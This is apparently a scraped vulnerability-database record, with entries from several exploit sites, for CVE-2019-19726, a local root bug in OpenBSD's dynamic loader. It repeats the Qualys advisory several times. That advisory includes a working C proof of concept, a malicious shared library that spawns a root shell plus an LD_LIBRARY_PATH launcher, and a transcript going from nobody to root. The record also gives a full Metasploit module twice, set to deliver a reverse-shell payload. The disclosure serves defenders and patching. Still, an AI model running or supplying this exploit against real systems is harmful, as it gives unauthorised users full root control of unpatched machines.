(_dl_issetugid()\r\n returns false because pwd_mkdb is not set-user-ID, and because the\r\n real and effective user IDs were both set to 0 in step 6a): our\r\n LD_LIBRARY_PATH is not ignored anymore.\r\n\r\n------------------------------------------------------------------------------\r\n\r\n8/ Finally, ld.so searches for shared libraries in _dl_libpath (our\r\nLD_LIBRARY_PATH) and loads our own library from the current working\r\ndirectory (the dot in our LD_LIBRARY_PATH).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n\r\n==============================================================================\r\nDemonstration\r\n==============================================================================\r\n\r\nIn this section, we demonstrate the use of our proof of concept:\r\n\r\n------------------------------------------------------------------------------\r\n\r\n$ id\r\nuid=32767(nobody) gid=32767(nobody) groups=32767(nobody)\r\n\r\n$ cd /tmp\r\n\r\n$ cat > lib.c << \"EOF\"\r\n#include <paths.h>\r\n#include <unistd.h>\r\n\r\nstatic void __attribute__ ((constructor)) _init (void) {\r\n if (setuid(0) != 0) _exit(__LINE__);\r\n if (setgid(0) != 0) _exit(__LINE__);\r\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\r\n execve(argv[0], argv, NULL);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED\r\n 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]\r\n 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]\r\n\r\n$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c\r\n\r\n$ cat > poc.c << \"EOF\"\r\n#include <string.h>\r\n#include <sys/param.h>\r\n#include <sys/resource.h>\r\n#include <unistd.h>\r\n\r\nint\r\nmain(int argc, char * const * argv)\r\n{\r\n #define LLP \"LD_LIBRARY_PATH=.\"\r\n static char llp[ARG_MAX - 128];\r\n memset(llp, ':', sizeof(llp)-1);\r\n memcpy(llp, LLP, sizeof(LLP)-1);\r\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\r\n\r\n #define DATA (ARG_MAX * sizeof(char *))\r\n const struct rlimit data = { DATA, DATA };\r\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\r\n\r\n if (argc <= 1) _exit(__LINE__);\r\n argv += 1;\r\n execve(argv[0], argv, envp);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n$ gcc -s -o poc poc.c\r\n\r\n$ ./poc /usr/bin/chpass\r\n\r\n# id\r\nuid=0(root) gid=0(wheel) groups=32767(nobody)\r\n\r\n------------------------------------------------------------------------------\r\n\r\n\r\n==============================================================================\r\nAcknowledgments\r\n==============================================================================\r\n\r\nWe thank Theo de Raadt and the OpenBSD developers for their incredibly\r\nquick response: they published a patch for this vulnerability in less\r\nthan 3 hours. We also thank MITRE's CVE Assignment Team.\r\n\r\n\r\n\r\n[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>\r\n\r\n\r\n\r\nThis message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (\u201cspam\u201d). If you have any concerns about this process, please contact us.\n\n# 0day.today [2019-12-17] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33663"}, {"lastseen": "2019-12-28T03:04:57", "description": "This Metasploit module exploits a vulnerability in the OpenBSD ld.so dynamic loader (CVE-2019-19726). The _dl_getenv() function fails to reset the LD_LIBRARY_PATH environment variable when set with approximately ARG_MAX colons. This can be abused to load libutil.so from an untrusted path, using LD_LIBRARY_PATH in combination with the chpass set-uid executable, resulting in privileged code execution. This module has been tested successfully on OpenBSD 6.1 (amd64) and OpenBSD 6.6 (amd64).", "edition": 1, "published": "2019-12-27T00:00:00", "title": "OpenBSD Dynamic Loader chpass Privilege Escalation Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-27T00:00:00", "id": "1337DAY-ID-33695", "href": "https://0day.today/exploit/description/33695", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',\r\n 'Description' => %q{\r\n This module exploits a vulnerability in the OpenBSD `ld.so`\r\n dynamic loader (CVE-2019-19726).\r\n\r\n The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`\r\n environment variable when set with approximately `ARG_MAX` colons.\r\n\r\n This can be abused to load `libutil.so` from an untrusted path,\r\n using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid\r\n executable, resulting in privileged code execution.\r\n\r\n This module has been tested successfully on:\r\n\r\n OpenBSD 6.1 (amd64); and\r\n OpenBSD 6.6 (amd64)\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Qualys', # Discovery and exploit\r\n 'bcoles' # Metasploit\r\n ],\r\n 'DisclosureDate' => '2019-12-11',\r\n 'Platform' => %w[bsd unix], # OpenBSD\r\n 'Arch' => [ARCH_CMD],\r\n 'SessionTypes' => ['shell'],\r\n 'References' =>\r\n [\r\n ['CVE', '2019-19726'],\r\n ['EDB', '47780'],\r\n ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],\r\n ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],\r\n ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],\r\n ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],\r\n ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']\r\n ],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'cmd/unix/reverse',\r\n 'WfsDelay' => 10\r\n },\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])\r\n ]\r\n register_advanced_options [\r\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def chpass_path\r\n datastore['CHPASS_PATH']\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def is_root?\r\n (cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0')\r\n end\r\n\r\n def libutil_name\r\n return unless command_exists? 'readelf'\r\n cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\\[(libutil\\.so\\.[\\d\\.]+)\\]/).flatten.first\r\n end\r\n\r\n def check\r\n patches = cmd_exec('syspatch -l').to_s\r\n patch = '013_ldso'\r\n if patches.include? patch\r\n vprint_error \"Patch #{patch} has been installed. Target is not vulnerable.\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"Patch #{patch} is not present\"\r\n\r\n unless command_exists? 'cc'\r\n vprint_error 'cc is not installed'\r\n return CheckCode::Safe\r\n end\r\n print_good 'cc is installed'\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def exploit\r\n unless check == CheckCode::Detected\r\n unless datastore['ForceExploit']\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\r\n end\r\n print_warning 'Target does not appear to be vulnerable'\r\n end\r\n\r\n if is_root?\r\n unless datastore['ForceExploit']\r\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\r\n end\r\n end\r\n\r\n unless writable? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9\r\n lib_data = <<-EOF\r\n#include <paths.h>\r\n#include <unistd.h>\r\n\r\nstatic void __attribute__ ((constructor)) _init (void) {\r\n if (setuid(0) != 0) _exit(__LINE__);\r\n if (setgid(0) != 0) _exit(__LINE__);\r\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\r\n execve(argv[0], argv, NULL);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n libs = []\r\n lib = libutil_name\r\n if lib\r\n libs << lib\r\n print_good \"Found libutil.so name: #{lib}\"\r\n else\r\n libs << 'libutil.so.12.1'\r\n libs << 'libutil.so.13.1'\r\n print_warning \"Could not determine libutil.so name. Using: #{libs.join(', ')}\"\r\n end\r\n\r\n lib_src_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}.c\"\r\n upload lib_src_path, lib_data\r\n libs.each do |lib_name|\r\n lib_path = \"#{base_dir}/#{lib_name}\"\r\n print_status \"Compiling #{lib_path} ...\"\r\n output = cmd_exec \"cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall\"\r\n register_file_for_cleanup lib_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{lib_path}.c failed to compile\"\r\n end\r\n end\r\n\r\n # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9\r\n exploit_data = <<-EOF\r\n#include <string.h>\r\n#include <sys/param.h>\r\n#include <sys/resource.h>\r\n#include <unistd.h>\r\n\r\nint\r\nmain(int argc, char * const * argv)\r\n{\r\n #define LLP \"LD_LIBRARY_PATH=.\"\r\n static char llp[ARG_MAX - 128];\r\n memset(llp, ':', sizeof(llp)-1);\r\n memcpy(llp, LLP, sizeof(LLP)-1);\r\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\r\n\r\n #define DATA (ARG_MAX * sizeof(char *))\r\n const struct rlimit data = { DATA, DATA };\r\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\r\n\r\n if (argc <= 1) _exit(__LINE__);\r\n argv += 1;\r\n execve(argv[0], argv, envp);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{exploit_path}.c\", exploit_data\r\n print_status \"Compiling #{exploit_path} ...\"\r\n output = cmd_exec \"cc -s #{exploit_path}.c -o #{exploit_path} -Wall\"\r\n register_file_for_cleanup exploit_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\r\n end\r\n\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload payload_path, \"#!/bin/sh\\n#{payload.encoded}\\n\"\r\n chmod payload_path\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec(\"cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}\")\r\n output.each_line { |line| vprint_status line.chomp }\r\n end\r\nend\n\n# 0day.today [2019-12-28] #", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://0day.today/exploit/33695"}], "exploitdb": [{"lastseen": "2019-12-16T13:22:18", "description": "", "published": "2019-12-16T00:00:00", "type": "exploitdb", "title": "OpenBSD 6.x - Dynamic Loader Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-16T00:00:00", "id": "EDB-ID:47780", "href": "https://www.exploit-db.com/exploits/47780", "sourceData": "Qualys Security Advisory\r\n\r\nLocal Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)\r\n\r\n\r\n==============================================================================\r\nContents\r\n==============================================================================\r\n\r\nSummary\r\nAnalysis\r\nDemonstration\r\nAcknowledgments\r\n\r\n\r\n==============================================================================\r\nSummary\r\n==============================================================================\r\n\r\nWe discovered a Local Privilege Escalation in OpenBSD's dynamic loader\r\n(ld.so): this vulnerability is exploitable in the default installation\r\n(via the set-user-ID executable chpass or passwd) and yields full root\r\nprivileges.\r\n\r\nWe developed a simple proof of concept and successfully tested it\r\nagainst OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both\r\namd64 and i386; other releases and architectures are probably also\r\nexploitable.\r\n\r\n\r\n==============================================================================\r\nAnalysis\r\n==============================================================================\r\n\r\nIn this section, we analyze a step-by-step execution of our proof of\r\nconcept:\r\n\r\n------------------------------------------------------------------------------\r\n\r\n1/ We execve() the set-user-ID /usr/bin/chpass, but first:\r\n\r\n 1a/ we set the LD_LIBRARY_PATH environment variable to one single dot\r\n (the current working directory) and approximately ARG_MAX colons (the\r\n maximum number of bytes for the argument and environment list); as\r\n described in man ld.so:\r\n\r\n LD_LIBRARY_PATH\r\n A colon separated list of directories, prepending the default\r\n search path for shared libraries. This variable is ignored for\r\n set-user-ID and set-group-ID executables.\r\n\r\n 1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)\r\n (2MB on amd64, 1MB on i386); as described in man setrlimit:\r\n\r\n RLIMIT_DATA The maximum size (in bytes) of the data segment for a\r\n process; this includes memory allocated via malloc(3) and\r\n all other anonymous memory mapped via mmap(2).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n2/ Before the main() function of chpass is executed, the _dl_boot()\r\nfunction of ld.so is executed and calls _dl_setup_env():\r\n\r\n262 void\r\n263 _dl_setup_env(const char *argv0, char **envp)\r\n264 {\r\n...\r\n271 _dl_libpath = _dl_split_path(_dl_getenv(\"LD_LIBRARY_PATH\", envp));\r\n...\r\n283 _dl_trust = !_dl_issetugid();\r\n284 if (!_dl_trust) { /* Zap paths if s[ug]id... */\r\n285 if (_dl_libpath) {\r\n286 _dl_free_path(_dl_libpath);\r\n287 _dl_libpath = NULL;\r\n288 _dl_unsetenv(\"LD_LIBRARY_PATH\", envp);\r\n289 }\r\n\r\n------------------------------------------------------------------------------\r\n\r\n3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH\r\nenvironment variable and passes it to _dl_split_path():\r\n\r\n 23 char **\r\n 24 _dl_split_path(const char *searchpath)\r\n 25 {\r\n ..\r\n 35 pp = searchpath;\r\n 36 while (*pp) {\r\n 37 if (*pp == ':' || *pp == ';')\r\n 38 count++;\r\n 39 pp++;\r\n 40 }\r\n ..\r\n 45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));\r\n 46 if (retval == NULL)\r\n 47 return (NULL);\r\n\r\n------------------------------------------------------------------------------\r\n\r\n4/ At line 45, count is approximately ARG_MAX (the number of colons in\r\nour LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our\r\nlow RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.\r\n\r\n------------------------------------------------------------------------------\r\n\r\n5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH\r\nis ignored, but it is not deleted from the environment (CVE-2019-19726):\r\nalthough _dl_trust is false (_dl_issetugid() returns true because chpass\r\nis set-user-ID), _dl_unsetenv() is not called (line 288) because\r\n_dl_libpath is NULL (line 285).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n6/ Next, the main() function of chpass is executed, and it:\r\n\r\n 6a/ calls setuid(0), which sets the real and effective user IDs to 0;\r\n\r\n 6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;\r\n\r\n 6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb\r\n (unlike execve(), execv() does not reset the environment).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()\r\nfunction of ld.so is executed and calls _dl_setup_env():\r\n\r\n 7a/ at line 271, _dl_getenv() returns a pointer to our\r\n LD_LIBRARY_PATH environment variable (because it was not deleted from\r\n the environment in step 5, and because execv() did not reset the\r\n environment in step 6c);\r\n\r\n 7b/ at line 45, _dl_reallocarray() does not return NULL anymore\r\n (because our low RLIMIT_DATA was reset in step 6b);\r\n\r\n 7c/ as a result, _dl_libpath is not NULL (line 271), and it is not\r\n reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()\r\n returns false because pwd_mkdb is not set-user-ID, and because the\r\n real and effective user IDs were both set to 0 in step 6a): our\r\n LD_LIBRARY_PATH is not ignored anymore.\r\n\r\n------------------------------------------------------------------------------\r\n\r\n8/ Finally, ld.so searches for shared libraries in _dl_libpath (our\r\nLD_LIBRARY_PATH) and loads our own library from the current working\r\ndirectory (the dot in our LD_LIBRARY_PATH).\r\n\r\n------------------------------------------------------------------------------\r\n\r\n\r\n==============================================================================\r\nDemonstration\r\n==============================================================================\r\n\r\nIn this section, we demonstrate the use of our proof of concept:\r\n\r\n------------------------------------------------------------------------------\r\n\r\n$ id\r\nuid=32767(nobody) gid=32767(nobody) groups=32767(nobody)\r\n\r\n$ cd /tmp\r\n\r\n$ cat > lib.c << \"EOF\"\r\n#include <paths.h>\r\n#include <unistd.h>\r\n\r\nstatic void __attribute__ ((constructor)) _init (void) {\r\n if (setuid(0) != 0) _exit(__LINE__);\r\n if (setgid(0) != 0) _exit(__LINE__);\r\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\r\n execve(argv[0], argv, NULL);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED\r\n 0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]\r\n 0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]\r\n\r\n$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c\r\n\r\n$ cat > poc.c << \"EOF\"\r\n#include <string.h>\r\n#include <sys/param.h>\r\n#include <sys/resource.h>\r\n#include <unistd.h>\r\n\r\nint\r\nmain(int argc, char * const * argv)\r\n{\r\n #define LLP \"LD_LIBRARY_PATH=.\"\r\n static char llp[ARG_MAX - 128];\r\n memset(llp, ':', sizeof(llp)-1);\r\n memcpy(llp, LLP, sizeof(LLP)-1);\r\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\r\n\r\n #define DATA (ARG_MAX * sizeof(char *))\r\n const struct rlimit data = { DATA, DATA };\r\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\r\n\r\n if (argc <= 1) _exit(__LINE__);\r\n argv += 1;\r\n execve(argv[0], argv, envp);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n$ gcc -s -o poc poc.c\r\n\r\n$ ./poc /usr/bin/chpass\r\n\r\n# id\r\nuid=0(root) gid=0(wheel) groups=32767(nobody)\r\n\r\n------------------------------------------------------------------------------\r\n\r\n\r\n==============================================================================\r\nAcknowledgments\r\n==============================================================================\r\n\r\nWe thank Theo de Raadt and the OpenBSD developers for their incredibly\r\nquick response: they published a patch for this vulnerability in less\r\nthan 3 hours. We also thank MITRE's CVE Assignment Team.\r\n\r\n\r\n\r\n[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>\r\n\r\n\r\n\r\nThis message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (\u201cspam\u201d). If you have any concerns about this process, please contact us.", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/47780"}, {"lastseen": "2019-12-30T13:24:07", "description": "", "published": "2019-12-30T00:00:00", "type": "exploitdb", "title": "OpenBSD - Dynamic Loader chpass Privilege Escalation (Metasploit)", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-30T00:00:00", "id": "EDB-ID:47803", "href": "https://www.exploit-db.com/exploits/47803", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',\r\n 'Description' => %q{\r\n This module exploits a vulnerability in the OpenBSD `ld.so`\r\n dynamic loader (CVE-2019-19726).\r\n\r\n The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`\r\n environment variable when set with approximately `ARG_MAX` colons.\r\n\r\n This can be abused to load `libutil.so` from an untrusted path,\r\n using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid\r\n executable, resulting in privileged code execution.\r\n\r\n This module has been tested successfully on:\r\n\r\n OpenBSD 6.1 (amd64); and\r\n OpenBSD 6.6 (amd64)\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Qualys', # Discovery and exploit\r\n 'bcoles' # Metasploit\r\n ],\r\n 'DisclosureDate' => '2019-12-11',\r\n 'Platform' => %w[bsd unix], # OpenBSD\r\n 'Arch' => [ARCH_CMD],\r\n 'SessionTypes' => ['shell'],\r\n 'References' =>\r\n [\r\n ['CVE', '2019-19726'],\r\n ['EDB', '47780'],\r\n ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],\r\n ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],\r\n ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],\r\n ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],\r\n ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']\r\n ],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'cmd/unix/reverse',\r\n 'WfsDelay' => 10\r\n },\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])\r\n ]\r\n register_advanced_options [\r\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def chpass_path\r\n datastore['CHPASS_PATH']\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def is_root?\r\n (cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0')\r\n end\r\n\r\n def libutil_name\r\n return unless command_exists? 'readelf'\r\n cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\\[(libutil\\.so\\.[\\d\\.]+)\\]/).flatten.first\r\n end\r\n\r\n def check\r\n patches = cmd_exec('syspatch -l').to_s\r\n patch = '013_ldso'\r\n if patches.include? patch\r\n vprint_error \"Patch #{patch} has been installed. Target is not vulnerable.\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"Patch #{patch} is not present\"\r\n\r\n unless command_exists? 'cc'\r\n vprint_error 'cc is not installed'\r\n return CheckCode::Safe\r\n end\r\n print_good 'cc is installed'\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def exploit\r\n unless check == CheckCode::Detected\r\n unless datastore['ForceExploit']\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\r\n end\r\n print_warning 'Target does not appear to be vulnerable'\r\n end\r\n\r\n if is_root?\r\n unless datastore['ForceExploit']\r\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\r\n end\r\n end\r\n\r\n unless writable? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9\r\n lib_data = <<-EOF\r\n#include <paths.h>\r\n#include <unistd.h>\r\n\r\nstatic void __attribute__ ((constructor)) _init (void) {\r\n if (setuid(0) != 0) _exit(__LINE__);\r\n if (setgid(0) != 0) _exit(__LINE__);\r\n char * const argv[] = { _PATH_KSHELL, \"-c\", _PATH_KSHELL \"; exit 1\", NULL };\r\n execve(argv[0], argv, NULL);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n libs = []\r\n lib = libutil_name\r\n if lib\r\n libs << lib\r\n print_good \"Found libutil.so name: #{lib}\"\r\n else\r\n libs << 'libutil.so.12.1'\r\n libs << 'libutil.so.13.1'\r\n print_warning \"Could not determine libutil.so name. Using: #{libs.join(', ')}\"\r\n end\r\n\r\n lib_src_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}.c\"\r\n upload lib_src_path, lib_data\r\n libs.each do |lib_name|\r\n lib_path = \"#{base_dir}/#{lib_name}\"\r\n print_status \"Compiling #{lib_path} ...\"\r\n output = cmd_exec \"cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall\"\r\n register_file_for_cleanup lib_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{lib_path}.c failed to compile\"\r\n end\r\n end\r\n\r\n # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9\r\n exploit_data = <<-EOF\r\n#include <string.h>\r\n#include <sys/param.h>\r\n#include <sys/resource.h>\r\n#include <unistd.h>\r\n\r\nint\r\nmain(int argc, char * const * argv)\r\n{\r\n #define LLP \"LD_LIBRARY_PATH=.\"\r\n static char llp[ARG_MAX - 128];\r\n memset(llp, ':', sizeof(llp)-1);\r\n memcpy(llp, LLP, sizeof(LLP)-1);\r\n char * const envp[] = { llp, \"EDITOR=echo '#' >>\", NULL };\r\n\r\n #define DATA (ARG_MAX * sizeof(char *))\r\n const struct rlimit data = { DATA, DATA };\r\n if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);\r\n\r\n if (argc <= 1) _exit(__LINE__);\r\n argv += 1;\r\n execve(argv[0], argv, envp);\r\n _exit(__LINE__);\r\n}\r\nEOF\r\n\r\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{exploit_path}.c\", exploit_data\r\n print_status \"Compiling #{exploit_path} ...\"\r\n output = cmd_exec \"cc -s #{exploit_path}.c -o #{exploit_path} -Wall\"\r\n register_file_for_cleanup exploit_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\r\n end\r\n\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload payload_path, \"#!/bin/sh\\n#{payload.encoded}\\n\"\r\n chmod payload_path\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec(\"cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}\")\r\n output.each_line { |line| vprint_status line.chomp }\r\n end\r\nend", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://www.exploit-db.com/download/47803"}], "exploitpack": [{"lastseen": "2020-04-01T20:40:27", "description": "\nOpenBSD 6.x - Dynamic Loader Privilege Escalation", "edition": 1, "published": "2019-12-16T00:00:00", "title": "OpenBSD 6.x - Dynamic Loader Privilege Escalation", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-19726"], "modified": "2019-12-16T00:00:00", "id": "EXPLOITPACK:1AB9435EE9741F5C164FF2FFA781A1A6", "href": "", "sourceData": "Qualys Security Advisory\n\nLocal Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)\n\n\n==============================================================================\nContents\n==============================================================================\n\nSummary\nAnalysis\nDemonstration\nAcknowledgments\n\n\n==============================================================================\nSummary\n==============================================================================\n\nWe discovered a Local Privilege Escalation in OpenBSD's dynamic loader\n(ld.so): this vulnerability is exploitable in the default installation\n(via the set-user-ID executable chpass or passwd) and yields full root\nprivileges.\n\nWe developed a simple proof of concept and successfully tested it\nagainst OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both\namd64 and i386; other releases and architectures are probably also\nexploitable.\n\n\n==============================================================================\nAnalysis\n==============================================================================\n\nIn this section, we analyze a step-by-step execution of our proof of\nconcept:\n\n------------------------------------------------------------------------------\n\n1/ We execve() the set-user-ID /usr/bin/chpass, but first:\n\n 1a/ we set the LD_LIBRARY_PATH environment variable to one single dot\n (the current working directory) and approximately ARG_MAX colons (the\n maximum number of bytes for the argument and environment list); as\n described in man ld.so:\n\n LD_LIBRARY_PATH\n A colon separated list of directories, prepending the default\n search path for shared libraries. This variable is ignored for\n set-user-ID and set-group-ID executables.\n\n 1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)\n (2MB on amd64, 1MB on i386); as described in man setrlimit:\n\n RLIMIT_DATA The 